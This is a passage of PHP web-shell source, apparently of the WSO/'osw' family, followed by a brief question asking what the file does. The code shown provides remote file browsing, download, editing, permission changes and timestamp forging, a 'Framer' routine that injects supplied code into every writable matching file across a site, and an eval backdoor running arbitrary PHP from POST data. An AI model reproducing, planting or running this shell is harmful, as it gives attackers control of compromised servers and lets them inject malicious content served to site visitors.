if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
if (function_exists("mime_content_type")) {
$type = @mime_content_type($_POST['p1']);
header("Content-Type: " . $type);
} else
header("Content-Type: application/octet-stream");
$fp = @fopen($_POST['p1'], "r");
if($fp) {
while(!@feof($fp))
echo @fread($fp, 1024);
fclose($fp);
}
}exit;
}
if( @$_POST['p2'] == 'mkfile' ) {
if(!file_exists($_POST['p1'])) {
$fp = @fopen($_POST['p1'], 'w');
if($fp) {
$_POST['p2'] = "edit";
fclose($fp);
}
}
}
oswHeader();
echo '<h1>File tools</h1><div class=content>';
if( !file_exists(@$_POST['p1']) ) {
echo 'File not exists';
oswFooter();
return;
}
$uid = @posix_getpwuid(@fileowner($_POST['p1']));
if(!$uid) {
$uid['name'] = @fileowner($_POST['p1']);
$gid['name'] = @filegroup($_POST['p1']);
} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?oswViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.oswPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
echo '<span>Change time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
if( empty($_POST['p2']) )
$_POST['p2'] = 'view';
if( is_file($_POST['p1']) )
$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
else
$m = array('Chmod', 'Rename', 'Touch');
foreach($m as $v)
echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
echo '<br><br>';
switch($_POST['p2']) {
case 'view':
echo '<pre class=ml1>';
$fp = @fopen($_POST['p1'], 'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo '</pre>';
break;
case 'highlight':
if( @is_readable($_POST['p1']) ) {
echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
$code = @highlight_file($_POST['p1'],true);
echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
}
break;
case 'chmod':
if( !empty($_POST['p3']) ) {
$perms = 0;
for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
if(!@chmod($_POST['p1'], $perms))
echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
break;
case 'edit':
if( !is_writable($_POST['p1'])) {
echo 'File isn\'t writeable';
break;
}
if( !empty($_POST['p3']) ) {
$time = @filemtime($_POST['p1']);
$_POST['p3'] = substr($_POST['p3'],1);
$fp = @fopen($_POST['p1'],"w");
if($fp) {
@fwrite($fp,$_POST['p3']);
@fclose($fp);
echo 'Saved!<br><script>p3_="";</script>';
@touch($_POST['p1'],$time,$time);
}
}
echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
$fp = @fopen($_POST['p1'], 'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo '</textarea><input type=submit value=">>"></form>';
break;
case 'hexdump':
$c = @file_get_contents($_POST['p1']);
$n = 0;
$h = array('00000000<br>','','');
$len = strlen($c);
for ($i=0; $i<$len; ++$i) {
$h[1] .= sprintf('%02X',ord($c[$i])).' ';
switch ( ord($c[$i]) ) {
case 0: $h[2] .= ' '; break;
case 9: $h[2] .= ' '; break;
case 10: $h[2] .= ' '; break;
case 13: $h[2] .= ' '; break;
default: $h[2] .= $c[$i]; break;
}
$n++;
if ($n == 32) {
$n = 0;
if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
$h[1] .= '<br>';
$h[2] .= "\n";
}
}
echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
break;
case 'rename':
if( !empty($_POST['p3']) ) {
if(!@rename($_POST['p1'], $_POST['p3']))
echo 'Can\'t rename!<br>';
else
die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
}
echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
break;
case 'touch':
if( !empty($_POST['p3']) ) {
$time = strtotime($_POST['p3']);
if($time) {
if(!touch($_POST['p1'],$time,$time))
echo 'Fail!';
else
echo 'Touched!';
} else echo 'Bad time format!';
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
break;
}
echo '</div>';
oswFooter();
}
function actionLogout() {
setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
die('bye-bye!');
}
function filelist($level,$path)
{
$arr=explode ('/',$path);
unset($arr[count($arr)-1]);
$count_array = count($arr);
if ($level>$count_array-1)
{
$level = $count_array-1;
}
for ($i=$count_array-$level;$i<$count_array;$i++)
unset($arr[$i]);
return implode('/',$arr);
}
function glob_recursive($dir,$rfile){
$a = array();
foreach(glob($dir.'/*') as $filename){
if(strtolower(substr($filename, strlen($filename)-strlen($rfile), strlen($rfile)))==strtolower($rfile)) $a[]=$filename;
if(is_dir($filename)) { $a=array_merge($a,glob_recursive($filename,$rfile));}
}
return $a;
}
function replace_frame($dir,$place,$frame,$rfile)
{
$info['founded'] = 0;
$info['nowritable'] = 0;
$info['replaces'] = 0;
$info['edited_files'] = 0;
$files=glob_recursive($dir,$rfile);
foreach ($files as $file)
{
$info['founded']++;
if (is_writable($file))
{
$str=file_get_contents($file);
$sub_count= substr_count($str,$place);
if ($sub_count>0 and !preg_match('#'.$frame.'#is',$str))
{
$info['replaces'] += $sub_count;
$info['edited_files']++;
$str=str_replace($place,$frame,$str);
file_put_contents($file,$str);
}
}
else $info['nowritable']++;
}
return $info;
}
function actionFramer() {
oswHeader();
echo '<h1>Replace frames in selected files</h1>
<div class=content>';
$p=explode(',',$_POST['p3']);
echo '<table><form name="fr" method="post" onsubmit="var a=[this.level.value, this.file.value]; g(null,null,this.frame.value,this.rep_place.value,a); return false;">
<tr><td>Frame code</td><td><input type="text" name="frame" value="'.htmlspecialchars($_POST['p1']).'"></td></tr>
<tr><td>What replace</td><td><input type="text" name="rep_place" value="'.htmlspecialchars($_POST['p2']).'"></td></tr>
<tr><td>Level</td><td><input type="text" name="level" value="'.htmlspecialchars($p[0]).'"></td></tr>
<tr><td>Mask file</td><td><input type="text" name="file" value="'.htmlspecialchars($p[1]).'"></td></tr>
<tr><td></td><td><input type=submit value=">>"></td></tr>
</form></table>';
if(!empty($_POST['p1']))
{
$dir = filelist($p[0],$_SERVER['SCRIPT_FILENAME']);
echo $dir;
$info=replace_frame($dir,$_POST['p2'],$_POST['p1'],$p[1]);
echo '<table><tr><td>found files:</td><td>'.$info['founded'].'</td><tr>
<tr><td>not available for writing:</td><td>'.$info['nowritable'].'</td><tr>
<tr><td>edited files:</td><td>'.$info['edited_files'].'</td><tr>
<tr><td>all changes:</td><td>'.$info['replaces'].'</td><tr>';
}
echo '</div>';
oswFooter();
}
function actionRC() {
if(!@$_POST['p1']) {
$a = array(
"uname" => php_uname(),
"php_version" => phpversion(),
"osw_version" => osw_VERSION,
"safemode" => @ini_get('safe_mode')
);
echo serialize($a);
} else {
eval($_POST['p1']);
}
}
if( empty($_POST['a']) )
if(isset($default_action) && function_exists('action' . $default_action))
$_POST['a'] = $default_action;
else
$_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
call_user_func('action' . $_POST['a']);
exit;
@helloromero
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what does this file actually do?

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